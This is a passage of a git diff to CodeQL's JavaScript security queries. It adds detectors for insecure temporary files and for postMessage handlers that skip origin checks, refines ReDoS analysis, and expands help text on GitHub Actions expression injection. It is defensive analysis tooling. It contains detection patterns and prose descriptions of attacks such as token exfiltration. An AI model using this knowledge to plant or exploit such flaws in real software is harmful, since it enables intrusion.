index abd4aa7d823..a53710a9e43 100644
--- a/javascript/ql/lib/semmle/javascript/internal/CachedStages.qll
+++ b/javascript/ql/lib/semmle/javascript/internal/CachedStages.qll
@@ -238,6 +238,8 @@ module Stages {
       1 = 1
       or
       DataFlow::SharedFlowStep::step(_, _)
+      or
+      exists(any(DataFlow::RegExpCreationNode e).getAReference())
     }
   }
 
diff --git a/javascript/ql/lib/semmle/javascript/security/BadTagFilterQuery.qll b/javascript/ql/lib/semmle/javascript/security/BadTagFilterQuery.qll
index e22c00ddc47..d935abce37a 100644
--- a/javascript/ql/lib/semmle/javascript/security/BadTagFilterQuery.qll
+++ b/javascript/ql/lib/semmle/javascript/security/BadTagFilterQuery.qll
@@ -28,14 +28,14 @@ private module RegexpMatching {
      * but if `ignorePrefix` is true, it will only match "foo".
      */
     predicate test(string str, boolean ignorePrefix) {
-      none() // maybe overriden in subclasses
+      none() // maybe overridden in subclasses
     }
 
     /**
      * Same as `test(..)`, but where the `fillsCaptureGroup` afterwards tells which capture groups were filled by the given string.
      */
     predicate testWithGroups(string str, boolean ignorePrefix) {
-      none() // maybe overriden in subclasses
+      none() // maybe overridden in subclasses
     }
 
     /**
diff --git a/javascript/ql/lib/semmle/javascript/security/dataflow/CodeInjectionCustomizations.qll b/javascript/ql/lib/semmle/javascript/security/dataflow/CodeInjectionCustomizations.qll
index 19ecc84bcde..69427e12d7b 100644
--- a/javascript/ql/lib/semmle/javascript/security/dataflow/CodeInjectionCustomizations.qll
+++ b/javascript/ql/lib/semmle/javascript/security/dataflow/CodeInjectionCustomizations.qll
@@ -52,7 +52,7 @@ module CodeInjection {
   }
 
   /**
-   * A template tag occuring in JS code, viewed as a code injection sink.
+   * A template tag occurring in JS code, viewed as a code injection sink.
    */
   class TemplateTagInScriptSink extends Sink {
     TemplateTagInScriptSink() {
diff --git a/javascript/ql/lib/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll b/javascript/ql/lib/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll
index 9ba5964c2e5..a410bda46b5 100644
--- a/javascript/ql/lib/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll
+++ b/javascript/ql/lib/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll
@@ -132,7 +132,7 @@ module IndirectCommandInjection {
   }
 
   /**
-   * An array of command line arguments (`argv`) parsed by the `yargs` libary.
+   * An array of command line arguments (`argv`) parsed by the `yargs` library.
    */
   class YargsArgv extends Source {
     YargsArgv() {
diff --git a/javascript/ql/lib/semmle/javascript/security/dataflow/InsecureTemporaryFileCustomizations.qll b/javascript/ql/lib/semmle/javascript/security/dataflow/InsecureTemporaryFileCustomizations.qll
new file mode 100644
index 00000000000..216482947ab
--- /dev/null
+++ b/javascript/ql/lib/semmle/javascript/security/dataflow/InsecureTemporaryFileCustomizations.qll
@@ -0,0 +1,102 @@
+/**
+ * Provides default sources, sinks and sanitizers for reasoning about
+ * insecure temporary file creation, as well as
+ * extension points for adding your own.
+ */
+
+import javascript
+
+/**
+ * Classes and predicates for reasoning about insecure temporary file creation.
+ */
+module InsecureTemporaryFile {
+  /**
+   * A data flow source for insecure temporary file creation.
+   */
+  abstract class Source extends DataFlow::Node { }
+
+  /**
+   * A data flow sink for insecure temporary file creation.
+   */
+  abstract class Sink extends DataFlow::Node { }
+
+  /**
+   * A sanitizer for random insecure temporary file creation.
+   */
+  abstract class Sanitizer extends DataFlow::Node { }
+
+  /** A call that opens a file with a given path. */
+  class OpenFileCall extends DataFlow::CallNode {
+    string methodName;
+
+    OpenFileCall() {
+      methodName =
+        [
+          "open", "openSync", "writeFile", "writeFileSync", "writeJson", "writeJSON",
+          "writeJsonSync", "writeJSONSync", "outputJson", "outputJSON", "outputJsonSync",
+          "outputJSONSync", "outputFile", "outputFileSync"
+        ] and
+      this = NodeJSLib::FS::moduleMember(methodName).getACall()
+    }
+
+    DataFlow::Node getPath() { result = this.getArgument(0) }
+
+    DataFlow::Node getMode() {
+      methodName = ["open", "openSync"] and
+      result = this.getArgument(2)
+      or
+      not methodName = ["open", "openSync"] and
+      result = this.getOptionArgument(2, "mode")
+    }
+  }
+
+  /** Holds if the `mode` ensure no access to other users. */
+  bindingset[mode]
+  private predicate isSecureMode(int mode) {
+    // the lowest 6 bits should be 0.
+    // E.g. `0o600` is secure (each digit in a octal number is 3 bits)
+    mode.bitAnd(1) = 0 and
+    mode.bitAnd(2) = 0 and
+    mode.bitAnd(4) = 0 and
+    mode.bitAnd(8) = 0 and
+    mode.bitAnd(16) = 0 and
+    mode.bitAnd(32) = 0
+  }
+
+  /** The path in a call that opens a file without specifying a secure `mode`. Seen as a sink for insecure temporary file creation. */
+  class InsecureFileOpen extends Sink {
+    InsecureFileOpen() {
+      exists(OpenFileCall call |
+        not exists(call.getMode())
+        or
+        exists(int mode | mode = call.getMode().getIntValue() | not isSecureMode(mode))
+      |
+        this = call.getPath()
+      )
+    }
+  }
+
+  /** A string that references the global tmp dir. Seen as a source for insecure temporary file creation. */
+  class OSTempDir extends Source {
+    OSTempDir() {
+      this = DataFlow::moduleImport("os").getAMemberCall("tmpdir")
+      or
+      this.getStringValue().matches("/tmp/%")
+    }
+  }
+
+  /** A non-first leaf in a string-concatenation. Seen as a sanitizer for insecure temporary file creation. */
+  class NonFirstStringConcatLeaf extends Sanitizer {
+    NonFirstStringConcatLeaf() {
+      exists(StringOps::ConcatenationRoot root |
+        this = root.getALeaf() and
+        not this = root.getFirstLeaf()
+      )
+      or
+      exists(DataFlow::CallNode join |
+        join = DataFlow::moduleMember("path", "join").getACall() and
+        this = join.getArgument([1 .. join.getNumArgument() - 1])
+      )
+    }
+  }
+}
diff --git a/javascript/ql/lib/semmle/javascript/security/dataflow/InsecureTemporaryFileQuery.qll b/javascript/ql/lib/semmle/javascript/security/dataflow/InsecureTemporaryFileQuery.qll
new file mode 100644
index 00000000000..56c22972c16
--- /dev/null
+++ b/javascript/ql/lib/semmle/javascript/security/dataflow/InsecureTemporaryFileQuery.qll
@@ -0,0 +1,27 @@
+/**
+ * Provides a taint tracking configuration for reasoning about insecure temporary
+ * file creation.
+ *
+ * Note, for performance reasons: only import this file if
+ * `InsecureTemporaryFile::Configuration` is needed, otherwise
+ * `InsecureTemporaryFileCustomizations` should be imported instead.
+ */
+
+import javascript
+import InsecureTemporaryFileCustomizations::InsecureTemporaryFile
+
+/**
+ * A taint-tracking configuration for reasoning about insecure temporary file creation.
+ */
+class Configuration extends TaintTracking::Configuration {
+  Configuration() { this = "InsecureTemporaryFile" }
+
+  override predicate isSource(DataFlow::Node source) { source instanceof Source }
+
+  override predicate isSink(DataFlow::Node sink) { sink instanceof Sink }
+
+  override predicate isSanitizer(DataFlow::Node node) {
+    super.isSanitizer(node) or
+    node instanceof Sanitizer
+  }
+}
diff --git a/javascript/ql/lib/semmle/javascript/security/dataflow/UnsafeCodeConstruction.qll b/javascript/ql/lib/semmle/javascript/security/dataflow/UnsafeCodeConstruction.qll
index 6fdb2df7f39..2c45483f0db 100644
--- a/javascript/ql/lib/semmle/javascript/security/dataflow/UnsafeCodeConstruction.qll
+++ b/javascript/ql/lib/semmle/javascript/security/dataflow/UnsafeCodeConstruction.qll
@@ -1,6 +1,6 @@
 /**
  * Provides a taint-tracking configuration for reasoning about code
- * constructed from libary input vulnerabilities.
+ * constructed from library input vulnerabilities.
  *
  * Note, for performance reasons: only import this file if
  * `UnsafeCodeConstruction::Configuration` is needed, otherwise
diff --git a/javascript/ql/lib/semmle/javascript/security/dataflow/UnsafeCodeConstructionCustomizations.qll b/javascript/ql/lib/semmle/javascript/security/dataflow/UnsafeCodeConstructionCustomizations.qll
index 9534dfda70e..c75b36d29bb 100644
--- a/javascript/ql/lib/semmle/javascript/security/dataflow/UnsafeCodeConstructionCustomizations.qll
+++ b/javascript/ql/lib/semmle/javascript/security/dataflow/UnsafeCodeConstructionCustomizations.qll
@@ -1,6 +1,6 @@
 /**
  * Provides default sources, sinks and sanitizers for reasoning about code
- * constructed from libary input vulnerabilities, as well as extension points for
+ * constructed from library input vulnerabilities, as well as extension points for
  * adding your own.
  */
 
diff --git a/javascript/ql/lib/semmle/javascript/security/dataflow/UnsafeHtmlConstructionCustomizations.qll b/javascript/ql/lib/semmle/javascript/security/dataflow/UnsafeHtmlConstructionCustomizations.qll
index 66cec4dbec8..0edc5f94f30 100644
--- a/javascript/ql/lib/semmle/javascript/security/dataflow/UnsafeHtmlConstructionCustomizations.qll
+++ b/javascript/ql/lib/semmle/javascript/security/dataflow/UnsafeHtmlConstructionCustomizations.qll
@@ -45,7 +45,7 @@ module UnsafeHtmlConstruction {
     /**
      * Gets the kind of vulnerability to report in the alert message.
      *
-     * Defaults to `Cross-site scripting`, but may be overriden for sinks
+     * Defaults to `Cross-site scripting`, but may be overridden for sinks
      * that do not allow script injection, but injection of other undesirable HTML elements.
      */
     abstract string getVulnerabilityKind();
diff --git a/javascript/ql/lib/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll b/javascript/ql/lib/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll
index f46570b7434..676d4a41f10 100644
--- a/javascript/ql/lib/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll
+++ b/javascript/ql/lib/semmle/javascript/security/dataflow/UnsafeShellCommandConstructionCustomizations.qll
@@ -273,7 +273,7 @@ module UnsafeShellCommandConstruction {
   }
 
   /**
-   * A guard of the form `typeof x === "<T>"`, where <T> is  "number", or "boolean",
+   * A guard of the form `typeof x === "<T>"`, where `<T>` is  "number", or "boolean",
    * which sanitizes `x` in its "then" branch.
    */
   class TypeOfSanitizer extends TaintTracking::SanitizerGuardNode, DataFlow::ValueNode {
diff --git a/javascript/ql/lib/semmle/javascript/security/dataflow/Xss.qll b/javascript/ql/lib/semmle/javascript/security/dataflow/Xss.qll
index 7c15fbb84aa..fd44d69435c 100644
--- a/javascript/ql/lib/semmle/javascript/security/dataflow/Xss.qll
+++ b/javascript/ql/lib/semmle/javascript/security/dataflow/Xss.qll
@@ -14,7 +14,7 @@ module Shared {
     /**
      * Gets the kind of vulnerability to report in the alert message.
      *
-     * Defaults to `Cross-site scripting`, but may be overriden for sinks
+     * Defaults to `Cross-site scripting`, but may be overridden for sinks
      * that do not allow script injection, but injection of other undesirable HTML elements.
      */
     string getVulnerabilityKind() { result = "Cross-site scripting" }
diff --git a/javascript/ql/lib/semmle/javascript/security/dataflow/XssThroughDomCustomizations.qll b/javascript/ql/lib/semmle/javascript/security/dataflow/XssThroughDomCustomizations.qll
index 80c28c03513..b869b028902 100644
--- a/javascript/ql/lib/semmle/javascript/security/dataflow/XssThroughDomCustomizations.qll
+++ b/javascript/ql/lib/semmle/javascript/security/dataflow/XssThroughDomCustomizations.qll
@@ -216,4 +216,32 @@ module XssThroughDom {
       }
     }
   }
+
+  /**
+   * Gets a reference to a value obtained by calling `window.getSelection()`.
+   * https://developer.mozilla.org/en-US/docs/Web/API/Selection
+   */
+  DataFlow::SourceNode getSelectionCall(DataFlow::TypeTracker t) {
+    t.start() and
+    exists(DataFlow::CallNode call |
+      call = DataFlow::globalVarRef("getSelection").getACall()
+      or
+      call = DOM::documentRef().getAMemberCall("getSelection")
+    |
+      result = call
+    )
+    or
+    exists(DataFlow::TypeTracker t2 | result = getSelectionCall(t2).track(t2, t))
+  }
+
+  /**
+   * A source for text from the DOM from calling `toString()` on a `Selection` object.
+   * The `toString()` method returns the currently selected text in the DOM.
+   * https://developer.mozilla.org/en-US/docs/Web/API/Selection
+   */
+  class SelectionSource extends Source {
+    SelectionSource() {
+      this = getSelectionCall(DataFlow::TypeTracker::end()).getAMethodCall("toString")
+    }
+  }
 }
diff --git a/javascript/ql/lib/semmle/javascript/security/performance/ExponentialBackTracking.qll b/javascript/ql/lib/semmle/javascript/security/performance/ExponentialBackTracking.qll
index 5e0fe18ea00..99b4062dfdc 100644
--- a/javascript/ql/lib/semmle/javascript/security/performance/ExponentialBackTracking.qll
+++ b/javascript/ql/lib/semmle/javascript/security/performance/ExponentialBackTracking.qll
@@ -51,7 +51,7 @@
  *     either a single character, a set of characters represented by a
  *     character class, or the set of all characters.
  *   * The product automaton is constructed lazily, starting with pair states
- *     `(q, q)` where `q` is a fork, and proceding along an over-approximate
+ *     `(q, q)` where `q` is a fork, and proceeding along an over-approximate
  *     step relation.
  *   * The over-approximate step relation allows transitions along pairs of
  *     abstract input symbols where the symbols have overlap in the characters they accept.
diff --git a/javascript/ql/lib/semmle/javascript/security/performance/PolynomialReDoSCustomizations.qll b/javascript/ql/lib/semmle/javascript/security/performance/PolynomialReDoSCustomizations.qll
index ca01ef566ab..06968b91b55 100644
--- a/javascript/ql/lib/semmle/javascript/security/performance/PolynomialReDoSCustomizations.qll
+++ b/javascript/ql/lib/semmle/javascript/security/performance/PolynomialReDoSCustomizations.qll
@@ -86,15 +86,28 @@ module PolynomialReDoS {
       this.(StringReplaceCall).isGlobal() and
       // not lone char classes - they don't remove any repeated pattern.
       not exists(RegExpTerm root | root = this.(StringReplaceCall).getRegExp().getRoot() |
-        root instanceof RegExpCharacterClass
-        or
-        root instanceof RegExpCharacterClassEscape
+        isCharClassLike(root)
       )
       or
       this.(DataFlow::MethodCallNode).getMethodName() = StringOps::substringMethodName()
     }
   }
 
+  /**
+   * Holds if `term` matches a set of strings of length 1.
+   */
+  predicate isCharClassLike(RegExpTerm term) {
+    term instanceof RegExpCharacterClass
+    or
+    term instanceof RegExpCharacterClassEscape
+    or
+    term.(RegExpConstant).getValue().length() = 1
+    or
+    exists(RegExpAlt alt | term = alt |
+      forall(RegExpTerm choice | choice = alt.getAlternative() | isCharClassLike(choice))
+    )
+  }
+
   /**
    * An check on the length of a string, seen as a sanitizer guard.
    */
diff --git a/javascript/ql/lib/semmle/javascript/security/performance/ReDoSUtil.qll b/javascript/ql/lib/semmle/javascript/security/performance/ReDoSUtil.qll
index 6f695b5035b..8aa348bf62f 100644
--- a/javascript/ql/lib/semmle/javascript/security/performance/ReDoSUtil.qll
+++ b/javascript/ql/lib/semmle/javascript/security/performance/ReDoSUtil.qll
@@ -610,16 +610,23 @@ State after(RegExpTerm t) {
   or
   exists(RegExpGroup grp | t = grp.getAChild() | result = after(grp))
   or
-  exists(EffectivelyStar star | t = star.getAChild() | result = before(star))
+  exists(EffectivelyStar star | t = star.getAChild() |
+    not isPossessive(star) and
+    result = before(star)
+  )
   or
   exists(EffectivelyPlus plus | t = plus.getAChild() |
-    result = before(plus) or
+    not isPossessive(plus) and
+    result = before(plus)
+    or
     result = after(plus)
   )
   or
   exists(EffectivelyQuestion opt | t = opt.getAChild() | result = after(opt))
   or
-  exists(RegExpRoot root | t = root | result = AcceptAnySuffix(root))
+  exists(RegExpRoot root | t = root |
+    if matchesAnySuffix(root) then result = AcceptAnySuffix(root) else result = Accept(root)
+  )
 }
 
 /**
@@ -690,7 +697,7 @@ predicate delta(State q1, EdgeLabel lbl, State q2) {
     lbl = Epsilon() and q2 = Accept(root)
   )
   or
-  exists(RegExpRoot root | q1 = Match(root, 0) | lbl = Any() and q2 = q1)
+  exists(RegExpRoot root | q1 = Match(root, 0) | matchesAnyPrefix(root) and lbl = Any() and q2 = q1)
   or
   exists(RegExpDollar dollar | q1 = before(dollar) |
     lbl = Epsilon() and q2 = Accept(getRoot(dollar))
diff --git a/javascript/ql/lib/semmle/javascript/security/performance/ReDoSUtilSpecific.qll b/javascript/ql/lib/semmle/javascript/security/performance/ReDoSUtilSpecific.qll
index 4f247b0ce50..d363e25d83d 100644
--- a/javascript/ql/lib/semmle/javascript/security/performance/ReDoSUtilSpecific.qll
+++ b/javascript/ql/lib/semmle/javascript/security/performance/ReDoSUtilSpecific.qll
@@ -12,6 +12,24 @@ predicate isEscapeClass(RegExpTerm term, string clazz) {
   exists(RegExpCharacterClassEscape escape | term = escape | escape.getValue() = clazz)
 }
 
+/**
+ * Holds if `term` is a possessive quantifier.
+ * As javascript's regexes do not support possessive quantifiers, this never holds, but is used by the shared library.
+ */
+predicate isPossessive(RegExpQuantifier term) { none() }
+
+/**
+ * Holds if the regex that `term` is part of is used in a way that ignores any leading prefix of the input it's matched against.
+ * Not yet implemented for Javascript.
+ */
+predicate matchesAnyPrefix(RegExpTerm term) { any() }
+
+/**
+ * Holds if the regex that `term` is part of is used in a way that ignores any trailing suffix of the input it's matched against.
+ * Not yet implemented for Javascript.
+ */
+predicate matchesAnySuffix(RegExpTerm term) { any() }
+
 /**
  * Holds if the regular expression should not be considered.
  *
diff --git a/javascript/ql/src/CHANGELOG.md b/javascript/ql/src/CHANGELOG.md
index a73b0db75bb..0854beff86d 100644
--- a/javascript/ql/src/CHANGELOG.md
+++ b/javascript/ql/src/CHANGELOG.md
@@ -1,3 +1,18 @@
+## 0.1.2
+
+### New Queries
+
+* The `js/missing-origin-check` query has been added. It highlights "message" event handlers that do not check the origin of the event.  
+  The query previously existed as the experimental `js/missing-postmessageorigin-verification` query.
+
+## 0.1.1
+
+### Minor Analysis Improvements
+
+* The call graph now deals more precisely with calls to accessors (getters and setters).
+  Previously, calls to static accessors were not resolved, and some method calls were
+  incorrectly seen as calls to an accessor. Both issues have been fixed.
+
 ## 0.1.0
 
 ### New Queries
diff --git a/javascript/ql/src/Declarations/DeadStoreOfGlobal.ql b/javascript/ql/src/Declarations/DeadStoreOfGlobal.ql
index fc10f66f533..e7d916c48f3 100644
--- a/javascript/ql/src/Declarations/DeadStoreOfGlobal.ql
+++ b/javascript/ql/src/Declarations/DeadStoreOfGlobal.ql
@@ -24,7 +24,7 @@ where
   // 'v' is not externally declared...
   not exists(ExternalVarDecl d | d.getName() = v.getName() |
     // ...as a member of {Window,Worker,WebWorker}.prototype
-    d.(ExternalInstanceMemberDecl).getBaseName().regexpMatch("Window|Worker|WebWorker")
+    d.(ExternalInstanceMemberDecl).getBaseName() = ["Window", "Worker", "WebWorker"]
     or
     // ...or as a member of window
     d.(ExternalStaticMemberDecl).getBaseName() = "window"
diff --git a/javascript/ql/src/Declarations/UnreachableMethodOverloads.ql b/javascript/ql/src/Declarations/UnreachableMethodOverloads.ql
index 5ef8c0a0f3a..cb3dbffff35 100644
--- a/javascript/ql/src/Declarations/UnreachableMethodOverloads.ql
+++ b/javascript/ql/src/Declarations/UnreachableMethodOverloads.ql
@@ -59,16 +59,25 @@ private class MethodCallSig extends CallSignatureType {
   string getName() { result = name }
 }
 
+pragma[noinline]
+private MethodCallSig getMethodCallSigWithFingerprint(
+  string name, int optionalParams, int numParams, int requiredParms, SignatureKind kind
+) {
+  name = result.getName() and
+  optionalParams = result.getNumOptionalParameter() and
+  numParams = result.getNumParameter() and
+  requiredParms = result.getNumRequiredParameter() and
+  kind = result.getKind()
+}
+
 /**
  * Holds if the two call signatures could be overloads of each other and have the same parameter types.
  */
 predicate matchingCallSignature(MethodCallSig method, MethodCallSig other) {
-  method.getName() = other.getName() and
-  method.getNumOptionalParameter() = other.getNumOptionalParameter() and
-  method.getNumParameter() = other.getNumParameter() and
-  method.getNumRequiredParameter() = other.getNumRequiredParameter() and
+  other =
+    getMethodCallSigWithFingerprint(method.getName(), method.getNumOptionalParameter(),
+      method.getNumParameter(), method.getNumRequiredParameter(), method.getKind()) and
   // purposely not looking at number of type arguments.
-  method.getKind() = other.getKind() and
   forall(int i | i in [0 .. -1 + method.getNumParameter()] |
     method.getParameter(i) = other.getParameter(i) // This is sometimes imprecise, so it is still a good idea to compare type annotations.
   ) and
@@ -88,18 +97,24 @@ int getOverloadIndex(MethodSignature sig) {
   sig.getDeclaringType().getMethodOverload(sig.getName(), result) = sig
 }
 
+pragma[noinline]
+private MethodSignature getMethodSignatureWithFingerprint(
+  ClassOrInterface declaringType, string name, int numParameters, string kind
+) {
+  result.getDeclaringType() = declaringType and
+  result.getName() = name and
+  getKind(result) = kind and
+  result.getBody().getNumParameter() = numParameters
+}
+
 /**
  * Holds if the two method signatures are overloads of each other and have the same parameter types.
  */
 predicate signaturesMatch(MethodSignature method, MethodSignature other) {
-  // declared in the same interface/class.
-  method.getDeclaringType() = other.getDeclaringType() and
-  // same static modifier.
-  getKind(method) = getKind(other) and
-  // same name.
-  method.getName() = other.getName() and
-  // same number of parameters.
-  method.getBody().getNumParameter() = other.getBody().getNumParameter() and
+  // the intial search for another overload in a single call for better join-order.
+  other =
+    getMethodSignatureWithFingerprint(method.getDeclaringType(), method.getName(),
+      method.getBody().getNumParameter(), getKind(method)) and
   // same this parameter (if exists)
   (
     not exists(method.getBody().getThisTypeAnnotation()) and
diff --git a/javascript/ql/src/LanguageFeatures/ArgumentsCallerCallee.ql b/javascript/ql/src/LanguageFeatures/ArgumentsCallerCallee.ql
index fb7055d8f99..6354383f6c7 100644
--- a/javascript/ql/src/LanguageFeatures/ArgumentsCallerCallee.ql
+++ b/javascript/ql/src/LanguageFeatures/ArgumentsCallerCallee.ql
@@ -15,7 +15,7 @@ import javascript
 from PropAccess acc, ArgumentsVariable args
 where
   acc.getBase() = args.getAnAccess() and
-  acc.getPropertyName().regexpMatch("caller|callee") and
+  acc.getPropertyName() = ["caller", "callee"] and
   // don't flag cases where the variable can never contain an arguments object
   not exists(Function fn | args = fn.getVariable()) and
   not exists(Parameter p | args = p.getAVariable()) and
diff --git a/javascript/ql/src/LanguageFeatures/BadTypeof.ql b/javascript/ql/src/LanguageFeatures/BadTypeof.ql
index 1da17f3a8e8..1b9213edd1a 100644
--- a/javascript/ql/src/LanguageFeatures/BadTypeof.ql
+++ b/javascript/ql/src/LanguageFeatures/BadTypeof.ql
@@ -50,8 +50,11 @@ from EqOrSwitch et, TypeofExpr typeof, ConstantString str
 where
   typeof = et.getAnOperand().getUnderlyingValue() and
   str = et.getAnOperand().getUnderlyingValue() and
-  not str.getStringValue()
-      .regexpMatch("undefined|boolean|number|string|object|function|symbol|unknown|date|bigint")
+  not str.getStringValue() =
+    [
+      "undefined", "boolean", "number", "string", "object", "function", "symbol", "unknown", "date",
+      "bigint"
+    ]
 select typeof,
   "The result of this 'typeof' expression is compared to '$@', but the two can never be equal.",
   str, str.getStringValue()
diff --git a/javascript/ql/src/Security/CWE-020/MissingOriginCheck.qhelp b/javascript/ql/src/Security/CWE-020/MissingOriginCheck.qhelp
new file mode 100644
index 00000000000..cb048b0c771
--- /dev/null
+++ b/javascript/ql/src/Security/CWE-020/MissingOriginCheck.qhelp
@@ -0,0 +1,43 @@
+<!DOCTYPE qhelp PUBLIC
+  "-//Semmle//qhelp//EN"
+  "qhelp.dtd">
+<qhelp>
+
+<overview>
+
+<p>
+The <code>"message"</code> event is used to send messages between windows. 
+An untrusted window can send a message to a trusted window, and it is up to the receiver to verify the legitimacy of the message. One way of performing that verification is to check the <code>origin</code> of the message ensure that it originates from a trusted window.
+</p>
+</overview>
+
+<recommendation>
+<p>
+Always verify the origin of incoming messages.
+</p>
+</recommendation>
+
+<example>
+<p>
+The example below uses a received message to execute some code. However, the 
+origin of the message is not checked, so it might be possible for an attacker
+to execute arbitrary code.
+</p>
+<sample src="examples/MissingOriginCheckBad.js" />
+
+<p>
+The example is fixed below, where the origin is checked to be trusted. 
+It is therefore not possible for a malicious user to perform an attack using an untrusted origin.
+</p>
+<sample src="examples/MissingOriginCheckGood.js" />
+
+</example>
+
+<references>
+
+<li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage">Window.postMessage()</a>.</li>
+<li><a href="https://portswigger.net/web-security/dom-based/web-message-manipulation">Web message manipulation</a>.</li>
+<li><a href="https://labs.detectify.com/2016/12/08/the-pitfalls-of-postmessage/">The pitfalls of postMessage</a>.</li>
+
+</references>
+</qhelp>
diff --git a/javascript/ql/src/Security/CWE-020/MissingOriginCheck.ql b/javascript/ql/src/Security/CWE-020/MissingOriginCheck.ql
new file mode 100644
index 00000000000..543d3996abb
--- /dev/null
+++ b/javascript/ql/src/Security/CWE-020/MissingOriginCheck.ql
@@ -0,0 +1,83 @@
+/**
+ * @name Missing origin verification in `postMessage` handler
+ * @description Missing origin verification in a `postMessage` handler allows any windows to send arbitrary data to the handler.
+ * @kind problem
+ * @problem.severity warning
+ * @security-severity 5
+ * @precision medium
+ * @id js/missing-origin-check
+ * @tags correctness
+ *       security
+ *       external/cwe/cwe-020
+ */
+
+import javascript
+
+/** A function that handles "message" events. */
+class PostMessageHandler extends DataFlow::FunctionNode {
+  override PostMessageEventHandler astNode;
+
+  /** Gets the parameter that contains the event. */
+  DataFlow::ParameterNode getEventParameter() {
+    result = DataFlow::parameterNode(astNode.getEventParameter())
+  }
+}
+
+/** Gets a reference to the event from a postmessage `handler` */
+DataFlow::SourceNode event(DataFlow::TypeTracker t, PostMessageHandler handler) {
+  t.start() and
+  result = handler.getEventParameter()
+  or
+  exists(DataFlow::TypeTracker t2 | result = event(t2, handler).track(t2, t))
+}
+
+/** Gets a reference to the .origin from a postmessage event. */
+DataFlow::SourceNode origin(DataFlow::TypeTracker t, PostMessageHandler handler) {
+  t.start() and
+  result = event(DataFlow::TypeTracker::end(), handler).getAPropertyRead("origin")
+  or
+  result =
+    origin(t.continue(), handler)
+        .getAMethodCall([
+            "toString", "toLowerCase", "toUpperCase", "toLocaleLowerCase", "toLocaleUpperCase"
+          ])
+  or
+  exists(DataFlow::TypeTracker t2 | result = origin(t2, handler).track(t2, t))
+}
+
+/** Gets a reference to the .source from a postmessage event. */
+DataFlow::SourceNode source(DataFlow::TypeTracker t, PostMessageHandler handler) {
+  t.start() and
+  result = event(DataFlow::TypeTracker::end(), handler).getAPropertyRead("source")
+  or
+  exists(DataFlow::TypeTracker t2 | result = source(t2, handler).track(t2, t))
+}
+
+/** Gets a reference to the origin or the source of a postmessage event. */
+DataFlow::SourceNode sourceOrOrigin(PostMessageHandler handler) {
+  result = source(DataFlow::TypeTracker::end(), handler) or
+  result = origin(DataFlow::TypeTracker::end(), handler)
+}
+
+/** Holds if there exists a check of the .origin or .source of the postmessage `handler`. */
+predicate hasOriginCheck(PostMessageHandler handler) {
+  // event.origin === "constant"
+  exists(EqualityTest test | sourceOrOrigin(handler).flowsToExpr(test.getAnOperand()))
+  or
+  // set.includes(event.source)
+  exists(InclusionTest test | sourceOrOrigin(handler).flowsTo(test.getContainedNode()))
+  or
+  // "safeOrigin".startsWith(event.origin)
+  exists(StringOps::StartsWith starts |
+    origin(DataFlow::TypeTracker::end(), handler).flowsTo(starts.getSubstring())
+  )
+  or
+  // "safeOrigin".endsWith(event.origin)
+  exists(StringOps::EndsWith ends |
+    origin(DataFlow::TypeTracker::end(), handler).flowsTo(ends.getSubstring())
+  )
+}
+
+from PostMessageHandler handler
+where not hasOriginCheck(handler)
+select handler.getEventParameter(), "Postmessage handler has no origin check."
diff --git a/javascript/ql/src/experimental/Security/CWE-020/examples/postMessageNoOriginCheck.js b/javascript/ql/src/Security/CWE-020/examples/MissingOriginCheckBad.js
similarity index 100%
rename from javascript/ql/src/experimental/Security/CWE-020/examples/postMessageNoOriginCheck.js
rename to javascript/ql/src/Security/CWE-020/examples/MissingOriginCheckBad.js
diff --git a/javascript/ql/src/experimental/Security/CWE-020/examples/postMessageWithOriginCheck.js b/javascript/ql/src/Security/CWE-020/examples/MissingOriginCheckGood.js
similarity index 55%
rename from javascript/ql/src/experimental/Security/CWE-020/examples/postMessageWithOriginCheck.js
rename to javascript/ql/src/Security/CWE-020/examples/MissingOriginCheckGood.js
index e528f980235..8dec29f2e18 100644
--- a/javascript/ql/src/experimental/Security/CWE-020/examples/postMessageWithOriginCheck.js
+++ b/javascript/ql/src/Security/CWE-020/examples/MissingOriginCheckGood.js
@@ -1,7 +1,7 @@
 function postMessageHandler(event) {
     console.log(event.origin)
     // GOOD: the origin property is checked
-    if (event.origin === 'www.example.com') {
+    if (event.origin === 'https://www.example.com') {
         // do something
     }
 }
diff --git a/javascript/ql/src/experimental/Security/CWE-094/ExpressionInjection.qhelp b/javascript/ql/src/Security/CWE-094/ExpressionInjection.qhelp
similarity index 54%
rename from javascript/ql/src/experimental/Security/CWE-094/ExpressionInjection.qhelp
rename to javascript/ql/src/Security/CWE-094/ExpressionInjection.qhelp
index b7c678f6e39..f355ef0aa6e 100644
--- a/javascript/ql/src/experimental/Security/CWE-094/ExpressionInjection.qhelp
+++ b/javascript/ql/src/Security/CWE-094/ExpressionInjection.qhelp
@@ -2,53 +2,47 @@
 "-//Semmle//qhelp//EN"
 "qhelp.dtd">
 <qhelp>
-
 	<overview>
-
 		<p>
-
 			Using user-controlled input in GitHub Actions may lead to
 			code injection in contexts like <i>run:</i> or <i>script:</i>.
-
 		</p>
-
+        <p>
+            Code injection in GitHub Actions may allow an attacker to 
+            exfiltrate the temporary GitHub repository authorization token. 
+            The token might have write access to the repository, allowing an attacker
+             to use the token to make changes to the repository.
+        </p>
 	</overview>
 
 	<recommendation>
-
 		<p>
-
 			The best practice to avoid code injection vulnerabilities
 			in GitHub workflows is to set the untrusted input value of the expression
 			to an intermediate environment variable.
-
 		</p>
-
+        <p>
+            It is also recommended to limit the permissions of any tokens used 
+            by a workflow such as the the GITHUB_TOKEN. 
+        </p>
 	</recommendation>
 
 	<example>
-
 		<p>
-
 			The following example lets a user inject an arbitrary shell command:
-
 		</p>
-
 		<sample src="examples/comment_issue_bad.yml" />
 
 		<p>
-
 			The following example uses shell syntax to read
 			the environment variable and will prevent the attack:
-
 		</p>
-
 		<sample src="examples/comment_issue_good.yml" />
-
 	</example>
 
 	<references>
 		<li>GitHub Security Lab Research: <a href="https://securitylab.github.com/research/github-actions-untrusted-input">Keeping your GitHub Actions and workflows secure: Untrusted input</a>.</li>
+        <li>GitHub Docs: <a href="https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions">Security hardening for GitHub Actions</a>.</li>
